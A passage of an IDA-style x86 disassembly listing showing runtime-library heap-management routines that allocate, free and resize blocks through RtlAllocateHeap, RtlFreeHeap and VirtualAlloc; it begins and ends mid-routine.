sub_416B8D+26j cmp eax, ecx jnb short loc_416BB5 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_416BB7 add eax, 14h jmp short loc_416B9D ; --------------------------------------------------------------------------- loc_416BB5: ; CODE XREF: sub_416B8D+12j xor eax, eax locret_416BB7: ; CODE XREF: sub_416B8D+21j retn sub_416B8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416BB8 proc near ; CODE XREF: sub_413ED3+16p ; sub_41556F+89p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] push ebx push esi mov eax, [ecx+10h] mov esi, edx sub esi, [ecx+0Ch] mov ebx, [edx-4] add edx, 0FFFFFFFCh push edi shr esi, 0Fh mov ecx, esi mov edi, [edx-4] imul ecx, 204h dec ebx mov [ebp+var_4], edi lea ecx, [ecx+eax+144h] mov [ebp+var_C], ebx mov [ebp+var_10], ecx mov ecx, [ebx+edx] test cl, 1 mov [ebp+var_8], ecx jnz short loc_416C7E sar ecx, 4 push 3Fh dec ecx pop edi mov [ebp+arg_4], ecx cmp ecx, edi jbe short loc_416C10 mov [ebp+arg_4], edi loc_416C10: ; CODE XREF: sub_416BB8+53j mov ecx, [ebx+edx+4] cmp ecx, [ebx+edx+8] jnz short loc_416C62 mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_416C3E mov edi, 80000000h shr edi, cl lea ecx, [ecx+eax+4] not edi and [eax+esi*4+44h], edi dec byte ptr [ecx] jnz short loc_416C62 mov ecx, [ebp+arg_0] and [ecx], edi jmp short loc_416C62 ; --------------------------------------------------------------------------- loc_416C3E: ; CODE XREF: sub_416BB8+68j add ecx, 0FFFFFFE0h mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edi and [eax+esi*4+0C4h], edi dec byte ptr [ecx] jnz short loc_416C62 mov ecx, [ebp+arg_0] and [ecx+4], edi loc_416C62: ; CODE XREF: sub_416BB8+60j ; sub_416BB8+7Dj ... mov ecx, [ebx+edx+8] mov edi, [ebx+edx+4] mov [ecx+4], edi mov ecx, [ebx+edx+4] mov edi, [ebx+edx+8] add ebx, [ebp+var_8] mov [ecx+8], edi mov [ebp+var_C], ebx loc_416C7E: ; CODE XREF: sub_416BB8+45j mov edi, ebx sar edi, 4 dec edi cmp edi, 3Fh jbe short loc_416C8C push 3Fh pop edi loc_416C8C: ; CODE XREF: sub_416BB8+CFj mov ecx, [ebp+var_4] and ecx, 1 mov [ebp+var_14], ecx jnz loc_416D3B sub edx, [ebp+var_4] mov ecx, [ebp+var_4] sar ecx, 4 push 3Fh mov [ebp+var_8], edx dec ecx pop edx cmp ecx, edx mov [ebp+arg_4], ecx jbe short loc_416CB7 mov [ebp+arg_4], edx mov ecx, edx loc_416CB7: ; CODE XREF: sub_416BB8+F8j add ebx, [ebp+var_4] mov edi, ebx mov [ebp+var_C], ebx sar edi, 4 dec edi cmp edi, edx jbe short loc_416CC9 mov edi, edx loc_416CC9: ; CODE XREF: sub_416BB8+10Dj cmp ecx, edi jz short loc_416D38 mov ecx, [ebp+var_8] mov edx, [ecx+4] cmp edx, [ecx+8] jnz short loc_416D20 mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_416CFC mov edx, 80000000h shr edx, cl lea ecx, [ecx+eax+4] not edx and [eax+esi*4+44h], edx dec byte ptr [ecx] jnz short loc_416D20 mov ecx, [ebp+arg_0] and [ecx], edx jmp short loc_416D20 ; --------------------------------------------------------------------------- loc_416CFC: ; CODE XREF: sub_416BB8+126j add ecx, 0FFFFFFE0h mov edx, 80000000h shr edx, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edx and [eax+esi*4+0C4h], edx dec byte ptr [ecx] jnz short loc_416D20 mov ecx, [ebp+arg_0] and [ecx+4], edx loc_416D20: ; CODE XREF: sub_416BB8+11Ej ; sub_416BB8+13Bj ... mov ecx, [ebp+var_8] mov edx, [ecx+8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_8] mov edx, [ecx+4] mov ecx, [ecx+8] mov [edx+8], ecx loc_416D38: ; CODE XREF: sub_416BB8+113j mov edx, [ebp+var_8] loc_416D3B: ; CODE XREF: sub_416BB8+DDj cmp [ebp+var_14], 0 jnz short loc_416D4A cmp [ebp+arg_4], edi jz loc_416DD3 loc_416D4A: ; CODE XREF: sub_416BB8+187j mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_416DD3 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edi+eax+4], cl jnb short loc_416DA7 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_416D96 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_416D96: ; CODE XREF: sub_416BB8+1CEj mov ebx, 80000000h mov ecx, edi shr ebx, cl lea eax, [eax+esi*4+44h] or [eax], ebx jmp short loc_416DD0 ; --------------------------------------------------------------------------- loc_416DA7: ; CODE XREF: sub_416BB8+1C8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_416DBD lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_416DBD: ; CODE XREF: sub_416BB8+1F3j lea ecx, [edi-20h] mov edi, 80000000h shr edi, cl lea eax, [eax+esi*4+0C4h] or [eax], edi loc_416DD0: ; CODE XREF: sub_416BB8+1EDj mov ebx, [ebp+var_C] loc_416DD3: ; CODE XREF: sub_416BB8+18Cj ; sub_416BB8+1B6j mov eax, [ebp+var_10] mov [edx], ebx mov [ebx+edx-4], ebx dec dword ptr [eax] jnz loc_416EDE mov eax, ds:dword_45FE54 test eax, eax jz loc_416ED0 mov ecx, ds:dword_45FE4C mov edi, ds:dword_41F16C shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call edi ; dword_41F16C mov ecx, ds:dword_45FE4C mov eax, ds:dword_45FE54 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, ds:dword_45FE54 mov ecx, ds:dword_45FE4C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, ds:dword_45FE54 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, ds:dword_45FE54 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_416E5E and dword ptr [eax+4], 0FFFFFFFEh mov eax, ds:dword_45FE54 loc_416E5E: ; CODE XREF: sub_416BB8+29Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_416ED0 push ebx push 0 push dword ptr [eax+0Ch] call edi ; dword_41F16C mov eax, ds:dword_45FE54 push dword ptr [eax+10h] push 0 push ds:dword_45FE60 call ds:dword_41F144 ; RtlFreeHeap mov eax, ds:dword_45FE58 mov edx, ds:dword_45FE5C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, ds:dword_45FE54 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_414520 mov eax, [ebp+arg_0] add esp, 0Ch dec ds:dword_45FE58 cmp eax, ds:dword_45FE54 jbe short loc_416EC2 sub eax, 14h loc_416EC2: ; CODE XREF: sub_416BB8+305j mov ecx, ds:dword_45FE5C mov ds:dword_45FE50, ecx jmp short loc_416ED3 ; --------------------------------------------------------------------------- loc_416ED0: ; CODE XREF: sub_416BB8+233j ; sub_416BB8+2AAj mov eax, [ebp+arg_0] loc_416ED3: ; CODE XREF: sub_416BB8+316j mov ds:dword_45FE54, eax mov ds:dword_45FE4C, esi loc_416EDE: ; CODE XREF: sub_416BB8+226j pop edi pop esi pop ebx leave retn sub_416BB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EE3 proc near ; CODE XREF: sub_413E9D+Ep ; sub_41556F+69p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, ds:dword_45FE58 mov edx, ds:dword_45FE5C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_416F23 or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_416F33 ; --------------------------------------------------------------------------- loc_416F23: ; CODE XREF: sub_416EE3+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_416F33: ; CODE XREF: sub_416EE3+3Ej mov eax, ds:dword_45FE50 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_416F5A loc_416F41: ; CODE XREF: sub_416EE3+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_416F5A add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_416F41 loc_416F5A: ; CODE XREF: sub_416EE3+5Cj ; sub_416EE3+6Aj cmp ebx, [ebp+var_4] jnz short loc_416FD8 mov ebx, edx loc_416F61: ; CODE XREF: sub_416EE3+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_416F7D mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_416F7B add ebx, 14h jmp short loc_416F61 ; --------------------------------------------------------------------------- loc_416F7B: ; CODE XREF: sub_416EE3+91j cmp ebx, eax loc_416F7D: ; CODE XREF: sub_416EE3+83j jnz short loc_416FD8 loc_416F7F: ; CODE XREF: sub_416EE3+ADj cmp ebx, [ebp+var_4] jnb short loc_416F95 cmp dword ptr [ebx+8], 0 jnz short loc_416F92 add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_416F7F ; --------------------------------------------------------------------------- loc_416F92: ; CODE XREF: sub_416EE3+A5j cmp ebx, [ebp+var_4] loc_416F95: ; CODE XREF: sub_416EE3+9Fj jnz short loc_416FBD mov ebx, edx loc_416F99: ; CODE XREF: sub_416EE3+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_416FAD cmp dword ptr [ebx+8], 0 jnz short loc_416FAB add ebx, 14h jmp short loc_416F99 ; --------------------------------------------------------------------------- loc_416FAB: ; CODE XREF: sub_416EE3+C1j cmp ebx, eax loc_416FAD: ; CODE XREF: sub_416EE3+BBj jnz short loc_416FBD call sub_4171EC mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_416FD1 loc_416FBD: ; CODE XREF: sub_416EE3:loc_416F95j ; sub_416EE3:loc_416FADj push ebx call sub_41729D pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_416FD8 loc_416FD1: ; CODE XREF: sub_416EE3+D8j xor eax, eax jmp loc_4171E7 ; --------------------------------------------------------------------------- loc_416FD8: ; CODE XREF: sub_416EE3+7Aj ; sub_416EE3:loc_416F7Dj ... mov ds:dword_45FE50, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_416FFF mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_417036 loc_416FFF: ; CODE XREF: sub_416EE3+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_417033 loc_41701C: ; CODE XREF: sub_416EE3+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41701C loc_417033: ; CODE XREF: sub_416EE3+137j mov edx, [ebp+var_4] loc_417036: ; CODE XREF: sub_416EE3+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41705F mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41705F: ; CODE XREF: sub_416EE3+16Dj ; sub_416EE3+183j test ecx, ecx jl short loc_417068 shl ecx, 1 inc edi jmp short loc_41705F ; --------------------------------------------------------------------------- loc_417068: ; CODE XREF: sub_416EE3+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_417085 push 3Fh pop esi loc_417085: ; CODE XREF: sub_416EE3+19Dj cmp esi, edi jz loc_41719A mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_4170F6 cmp edi, 20h jge short loc_4170C5 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_4170F3 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_4170F6 ; --------------------------------------------------------------------------- loc_4170C5: ; CODE XREF: sub_416EE3+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_4170F3 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_4170F6 ; --------------------------------------------------------------------------- loc_4170F3: ; CODE XREF: sub_416EE3+1D6j ; sub_416EE3+203j mov ebx, [ebp+arg_0] loc_4170F6: ; CODE XREF: sub_416EE3+1B0j ; sub_416EE3+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_4171A6 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_417197 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_417168 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_417156 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_417156: ; CODE XREF: sub_416EE3+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_417197 ; --------------------------------------------------------------------------- loc_417168: ; CODE XREF: sub_416EE3+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_417181 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_417181: ; CODE XREF: sub_416EE3+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_417197: ; CODE XREF: sub_416EE3+24Ej ; sub_416EE3+283j mov ecx, [ebp+var_8] loc_41719A: ; CODE XREF: sub_416EE3+1A4j test ecx, ecx jz short loc_4171A9 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_4171A9 ; --------------------------------------------------------------------------- loc_4171A6: ; CODE XREF: sub_416EE3+229j mov ecx, [ebp+var_8] loc_4171A9: ; CODE XREF: sub_416EE3+2B9j ; sub_416EE3+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_4171DF cmp ebx, ds:dword_45FE54 jnz short loc_4171DF mov ecx, [ebp+var_4] cmp ecx, ds:dword_45FE4C jnz short loc_4171DF and ds:dword_45FE54, 0 loc_4171DF: ; CODE XREF: sub_416EE3+2E0j ; sub_416EE3+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_4171E7: ; CODE XREF: sub_416EE3+F0j pop edi pop esi pop ebx leave retn sub_416EE3 endp ; =============== S U B R O U T I N E ======================================= sub_4171EC proc near ; CODE XREF: sub_416EE3+CCp mov eax, ds:dword_45FE58 mov ecx, ds:dword_45FE48 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41722F lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push ds:dword_45FE5C push edi push ds:dword_45FE60 call ds:dword_41F154 ; RtlReAllocateHeap cmp eax, edi jz short loc_41727F add ds:dword_45FE48, 10h mov ds:dword_45FE5C, eax mov eax, ds:dword_45FE58 loc_41722F: ; CODE XREF: sub_4171EC+11j mov ecx, ds:dword_45FE5C push 41C4h push 8 lea eax, [eax+eax*4] push ds:dword_45FE60 lea esi, [ecx+eax*4] call ds:dword_41F140 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_41727F push 4 push 2000h push 100000h push edi call ds:dword_41F170 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_417283 push dword ptr [esi+10h] push edi push ds:dword_45FE60 call ds:dword_41F144 ; RtlFreeHeap loc_41727F: ; CODE XREF: sub_4171EC+30j ; sub_4171EC+67j xor eax, eax jmp short loc_41729A ; --------------------------------------------------------------------------- loc_417283: ; CODE XREF: sub_4171EC+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc ds:dword_45FE58 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41729A: ; CODE XREF: sub_4171EC+95j pop edi pop esi retn sub_4171EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41729D proc near ; CODE XREF: sub_416EE3+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_4172AF: ; CODE XREF: sub_41729D+19j test eax, eax jl short loc_4172B8 shl eax, 1 inc ebx jmp short loc_4172AF ; --------------------------------------------------------------------------- loc_4172B8: ; CODE XREF: sub_41729D+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_4172CD: ; CODE XREF: sub_41729D+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_4172CD mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call ds:dword_41F170 ; VirtualAlloc test eax, eax jnz short loc_417300 or eax, 0FFFFFFFFh jmp loc_417393 ; --------------------------------------------------------------------------- loc_417300: ; CODE XREF: sub_41729D+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_417346 lea eax, [edi+10h] loc_41730D: ; CODE XREF: sub_41729D+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41730D loc_417346: ; CODE XREF: sub_41729D+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_417383 or [eax+4], edi loc_417383: ; CODE XREF: sub_41729D+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_417393: ; CODE XREF: sub_41729D+5Ej pop edi pop esi pop ebx leave retn sub_41729D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417398 proc near ; CODE XREF: sub_41556F+58p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_417546 test bl, 1 jnz loc_41753F add ebx, ecx cmp esi, ebx jg loc_41753F mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41740F push 3Fh pop ecx mov [ebp+var_8], ecx loc_41740F: ; CODE XREF: sub_417398+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41745F cmp ecx, 20h jnb short loc_41743B mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41745F mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41745F ; --------------------------------------------------------------------------- loc_41743B: ; CODE XREF: sub_417398+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41745F mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41745F: ; CODE XREF: sub_417398+7Dj ; sub_417398+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41752D mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_417499 push 3Fh pop edi loc_417499: ; CODE XREF: sub_417398+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41751B mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_4174F2 cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_4174E5 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_4174E5: ; CODE XREF: sub_417398+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_417517 ; --------------------------------------------------------------------------- loc_4174F2: ; CODE XREF: sub_417398+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_417508 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_417508: ; CODE XREF: sub_417398+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_417517: ; CODE XREF: sub_417398+158j shr edx, cl or [eax], edx loc_41751B: ; CODE XREF: sub_417398+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_417530 ; --------------------------------------------------------------------------- loc_41752D: ; CODE XREF: sub_417398+E5j mov edx, [ebp+arg_4] loc_417530: ; CODE XREF: sub_417398+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_417686 ; --------------------------------------------------------------------------- loc_41753F: ; CODE XREF: sub_417398+52j ; sub_417398+5Cj xor eax, eax jmp loc_417689 ; --------------------------------------------------------------------------- loc_417546: ; CODE XREF: sub_417398+49j jge loc_417686 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_417571 push 3Fh pop esi loc_417571: ; CODE XREF: sub_417398+1D4j test byte ptr [ebp+var_4], 1 jnz loc_417600 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41758A push 3Fh pop esi loc_41758A: ; CODE XREF: sub_417398+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_4175D9 cmp esi, 20h jnb short loc_4175B5 mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_4175D6 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_4175D6 ; --------------------------------------------------------------------------- loc_4175B5: ; CODE XREF: sub_417398+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_4175D6 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_4175D6: ; CODE XREF: sub_417398+214j ; sub_417398+21Bj ... mov ebx, [ebp+arg_4] loc_4175D9: ; CODE XREF: sub_417398+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_417600 push 3Fh pop esi loc_417600: ; CODE XREF: sub_417398+1DDj ; sub_417398+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41767D mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_417654 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_417647 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_417647: ; CODE XREF: sub_417398+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_417679 ; --------------------------------------------------------------------------- loc_417654: ; CODE XREF: sub_417398+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41766A lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41766A: ; CODE XREF: sub_417398+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_417679: ; CODE XREF: sub_417398+2BAj shr edx, cl or [eax], edx loc_41767D: ; CODE XREF: sub_417398+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_417686: ; CODE XREF: sub_417398+1A2j ; sub_417398:loc_417546j push 1 pop eax loc_417689: ; CODE XREF: sub_417398+1A9j pop edi pop esi pop ebx leave retn sub_417398 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_41768E(int, int, double, int) sub_41768E proc near ; CODE XREF: sub_413F02+51p ; sub_41404B+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp ds:dword_42DA68, 0 jnz short loc_4176C3 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_417C43 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_4176C3: ; CODE XREF: sub_41768E+Aj push 0FFFFh mov ds:dword_45E804, 21h push [ebp+arg_C] call sub_417EB6 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop 